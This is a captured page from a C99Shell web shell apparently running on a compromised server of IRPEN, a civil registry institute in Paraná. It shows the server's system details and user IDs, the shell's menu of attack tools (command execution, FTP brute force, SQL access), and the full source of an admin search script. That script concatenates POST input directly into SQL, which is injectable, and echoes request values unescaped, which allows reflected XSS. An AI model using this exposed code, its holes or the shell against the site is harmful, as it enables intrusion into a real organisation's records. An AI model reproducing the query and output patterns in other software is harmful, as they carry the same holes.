!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/administrativo/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adm_pesq.php (13.89 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    include("./sessions.php");
    include("../../config/config.php");
    include(INCLUDES . "conexaoBD.php");
    include(INCLUDES . "sentencas_sql.php");
    include(INCLUDES . "funcoes_uteis.php");
    include(INCLUDES . "valida_usuario.inc.php");

    $tipoDocumento = $_SESSION['tipoDocumento'];

    switch ($tipoDocumento) {
        case 'atas':
            $tituloPagina = "Atas";
            break;
        case 'convenios':
            $tituloPagina = "Convênios";
            break;
        case 'contratos':
            $tituloPagina = "Contratos";
            break;
        case 'funarpen':
            $tituloPagina = 'Funarpen';
            break;
        case 'sfm':
            $tituloPagina = 'SFM';
            break;            
        case 'oficios_cidadania';
            $tituloPagina = 'Ofícios da Cidadania';
            break;
        case 'sis_regina':
            $tituloPagina = 'Sistema Regina';
            break;
        case 'sei':
            $tituloPagina = 'SEI';
            break;
        case 'docs_diversos';
            $tituloPagina = 'Documentos Diversos';
            break;
        case 'newsletter':
            $tituloPagina = 'Newsletter';
            break;
    }

    $sql = "SELECT * FROM docs_administrativos WHERE DAD_TipoDocumento = '{$tipoDocumento}' AND ";

    if (!empty($_POST['titulo'])) {
        $sql .= "DAD_Titulo LIKE '%{$_POST['titulo']}%' AND ";
    }

    if (!empty($_POST['parteTexto'])) {
        $sql .= "DAD_Descricao LIKE '%{$_POST['parteTexto']}%' AND ";
    }
    
    $sql = substr($sql,0,-4);

    $result = $conexao->query($sql);

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <meta name="Description" content="IRPEN">
    <meta name="Keywords" content="">
    <meta name="resource-type" content="document">
    <meta name="classification" content="Internet">
    <meta name="robots" content="all">
    <meta name="rating" content="General">
    <meta name="Author" content="Ninart! Solucoes para Web.">
    <meta name="language" content="pt-br">
    <link rel="shortcut icon" href="imagens/favicon.gif"type="image/gif">
    <link rel="stylesheet" href="<?=  HOST;?>css/irpen.css" type="text/css" />
    <link rel="stylesheet" media="all" type="text/css" href="<?=  HOST;?>css/menu_dropline.css" />

    <title>IRPEN | Instituto de Registro Civil de Pessoas Naturais do Paraná - 2008</title>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery-1.2.6.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.maskedinput-1.1.3.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.form.js"></script>
    <script type="text/javascript" src="jurisprudencia_pesq.js"></script>

    <style type="text/css">
        .style1 {
            color: #666666;
            font-weight: bold;
        }
        .lista_noticias {
            font-size: 7pt;
        }
        .lista_noticias .header {
            font-size: 9pt;
            font-weight: bold;
            background-color: #CCCCCC;
        }
        .lista_noticias .coluna1 {
            text-align: left;
            width: 50%;
        }
        .lista_noticias .coluna2 {
            text-align: left;
            width: 20%;
        }
        .lista_noticias .coluna3 {
            text-align: left;
            width: 10%;
        }
        .lista_noticias .coluna4 {
            text-align: center;
            width: 10%;
        }
        .sem_lista {
            text-align: center;
            font-weight: bold;
            color: red;
        }
        .resultado {
            width: 100%;
            text-align: center;
        }
        .but {
            border-radius: 3px;
            background-color: lightgreen;
            padding: 5px;
            margin: 10px;
        }
    </style>
    <script>
        function home() {
            window.location.href = "../../index.php"
        }
    </script>
</head>
<body>
    <div id="wrap">
        <?php include "../topo_gestao.php";?>
        <div id="content-wrap">
            <table width="100%" border="0">
                <tr>
                    <td align="left" valign="top" bgcolor="#FFFFFF" width="1%">&nbsp;</td>
                    <td align="left" valign="top">
                        <table width="100%" border="0" >
                            <tr>
                                <td align="left" valign="top">
                                    <h2>PESQUISA - <?=  $tituloPagina ?></h2>
                                    <div id="linha_h2" ></div>
                                    <form name="frmPesqNoticia" id="frmPesqNoticia" action="/admin/administrativo/adm_pesq.php" method="POST">
                                        <table width="98%" border="0">
                                            <tr>
                                                <td align="left" valign="top">
                                                </td>
                                            </tr>
                                            <?php
                                                if((isset($_GET["msg"])) && (!empty($_GET["msg"])))
                                                {
                                                    if((isset($_GET["erro"])) && ($_GET["erro"] == "S"))
                                                    {
                                                        $class_msg = "msg_erro";
                                                    }
                                                    else
                                                    {
                                                        $class_msg = "msg_ok";
                                                    }
                                                    ?>
                                                        <tr>
                                                            <td align="left" colspan="2">
                                                                <p class="<?=  $class_msg;?>"><?=  $_GET["msg"];?></p>
                                                                <br />
                                                            </td>
                                                        </tr>
                                                    <?php
                                                }
                                            ?>
                                            <tr>
                                                <td colspan="2" align="right" valign="top">
                                                    <label class="but">
                                                        <a href="../adm_cad.php/?tipo=<?=  $_SESSION['tipoDocumento'] ?>">| Cadastrar Novo Documento |</a>
                                                    </label>
                                                </td>
                                            </tr>
                                            <tr>
                                                <td width="30%" align="right" valign="top">
                                                    Título do Parecer:
                                                </td>
                                                <td align="left" valign="top">
                                                    <input name="titulo" type="text" value="<?= $_POST['titulo']?>" id="txtTitulo" size="50" />
                                                </td>
                                            </tr>
                                            <tr>
                                                <td align="right" valign="top">
                                                    Parte do texto do documentpo (<?=  $tituloPagina ?>):
                                                </td>
                                                <td align="left" valign="top">
                                                    <input name="parteTexto" type="text" id="parteTexto" value="<?= $_POST['parteTexto']?>" size="50" />
                                                </td>
                                            </tr>
                                            <tr>
                                                <td align="left" valign="top">&nbsp;</td>
                                                <td align="left" valign="top">&nbsp;</td>
                                            </tr>
                                            <tr>
                                                <td align="center" valign="top" colspan="2">
                                                    <input type="submit" name="btnPesquisar" id="btnPesquisar" value="Pesquisar" />
                                                    <input type="button" name="btnLimpar" id="btnLimpar" value="Limpar" />
                                                    <input type="button" name="btnVoltar" id="btnVoltar" onclick="home()" value="Voltar" />
                                                </td>
                                            </tr>
                                            <tr>
                                                <td align="left" valign="top">&nbsp;</td>
                                                <td align="left" valign="top">&nbsp;</td>
                                            </tr>
                                        </table>
                                
                                        <table class="resultado" border="0">
                                        <?php  if($result->num_rows > 0) { ?>
                                            <tr>
                                                <td align="left" valign="top" colspan="2">
                                                    <h3><?=  strtoupper($tituloPagina) ?></h3>
                                                </td>
                                            </tr>
                                            <tr>
                                                <td colspan="2">
                                                    <table class="lista_noticias" width="100%" align="center" border="0" cellspacing="0" cellpadding="2">
                                                        <tr class="header">
                                                            <td class="coluna1">
                                                                Título do Documento
                                                            </td>
                                                            <td class="coluna3">
                                                                Descrição
                                                            </td>
                                                            <td class="coluna4">
                                                                Alterar
                                                            </td>
                                                        </tr>
                                                        <?php
                                                            $num_linha = 1;
                                                            while($artigo = $result->fetch_array()) {
                                                                if($num_linha % 2 == 0) {
                                                                    $class_linha = "linha_par";
                                                                }
                                                                else {
                                                                    $class_linha = "linha_impar";
                                                                } ?>
                                                                <tr class="<?=  $class_linha;?>">
                                                                    <td class="coluna1"><?=  $artigo["DAD_Titulo"];?></td>
                                                                    <td class="coluna3"><?= $artigo['DAD_Descricao']?></td>
                                                                    <td class="coluna4">
                                                                    <a href="../adm_cad.php?id=<?=  $artigo["DAD_RowID"]?>">
                                                                        <img src="<?=  ICONES;?>alterar.jpg" alt="Alterar" border="0">
                                                                    </a></td>
                                                                </tr>
                                                                <?php $num_linha++;
                                                            }
                                                        ?>
                                                    </table>
                                        <?php } else { ?>
                                                    <p class="sem_lista">
                                                        Não foram encontrados resultados para os parâmetros especificados.
                                                    </p>
                                        <?php } ?>
                                                </td>
                                            </tr>
                                        </table>
                                    </form>
                                </td>
                            </tr>
                        </table>
                        <br />
                    </td>
                </tr>
            </table>
        </div>
        <div align="center">
            <strong><br />
            Rua Mal. Deodoro, 51 - Galeria Ritz - 18º Andar | Fone: (41) 3232-9811 | CEP 80.020-905 - Curitiba - Paraná</strong>
            <!-- content-wrap ends-->
        </div>
        <!-- footer starts -->
        <div id="footer-wrap">
        </div>
        <div id="rodape">
        </div>
    </div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0043 ]--